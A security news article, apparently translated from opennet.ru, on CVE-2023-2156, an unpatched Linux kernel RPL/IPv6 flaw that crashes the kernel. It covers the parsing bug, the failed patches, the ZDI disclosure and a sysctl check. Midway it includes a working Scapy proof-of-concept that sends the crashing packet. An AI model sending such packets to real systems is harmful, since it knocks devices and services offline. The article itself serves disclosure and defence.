0-day Linux IPv6 stack vulnerability that allows remote kernel crash

Information has been disclosed about an unpatched (0-day) vulnerability (CVE-2023-2156) in the Linux kernel that allows stopping the system by sending specially crafted IPv6 packets (packet-of-death). The problem appears only when support for the RPL protocol (Routing Protocol for Low-Power and Lossy Networks) is enabled, which is disabled by default in distributions and is used mainly on embedded devices operating in wireless networks with high packet loss.

The vulnerability is caused by incorrect handling of external data in the RPL protocol parsing code, which leads to an assert failure and the kernel going into a panic state. When placing data obtained as a result of parsing the IPv6 RPL packet header into the k_buff (Socket Buffer) structure, if the CmprI field is set to 15, the Segleft field is set to 1, and CmprE is set to 0, the 48-byte address vector is unpacked to 528 bytes and a a situation where there is not enough memory allocated for the buffer. In this case, the skb_push function used to push the data into the structure fires a check for disproportionate size of the data and the buffer, generating a panic state to prevent overwriting the buffer.

Exploit example: # We'll use Scapy to craft the packet from scapy.all import * import socket # Use the IPv6 from your LAN interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # We use sockets to send the packet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft the packet # Type = 3 makes this an RPL packet # Addresses contains 3 addresses, but because CmprI is 15, # each octet of the first two addresses is treated as a compressed address # Segleft = 1 to trigger the amplification # lastentry = 0xf0 sets CmprI to 15 and CmprE to 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Send this evil packet sockfd.sendto(bytes(p), (DST_ADDR, 0))

It is noteworthy that the kernel developers were notified of the vulnerability back in January 2022 and over the past 15 months they tried to fix the problem three times by releasing patches in September 2022, October 2022 and April 2023, but each time the fixes were not enough and the vulnerability was able to reproduce. Ultimately, the ZDI project, which coordinated the work to eliminate the vulnerability, decided to disclose detailed information about the vulnerability, without waiting for a working patch to appear in the kernel.

Thus, the vulnerability is still unpatched. Including the patch included in the 6.4-rc2 kernel is not effective. Users are advised to verify that the RPL protocol is not being used on their systems, which can be done using the sysctl -a | grep -i rpl_seg_enabled

Source: opennet.ru

Add a comment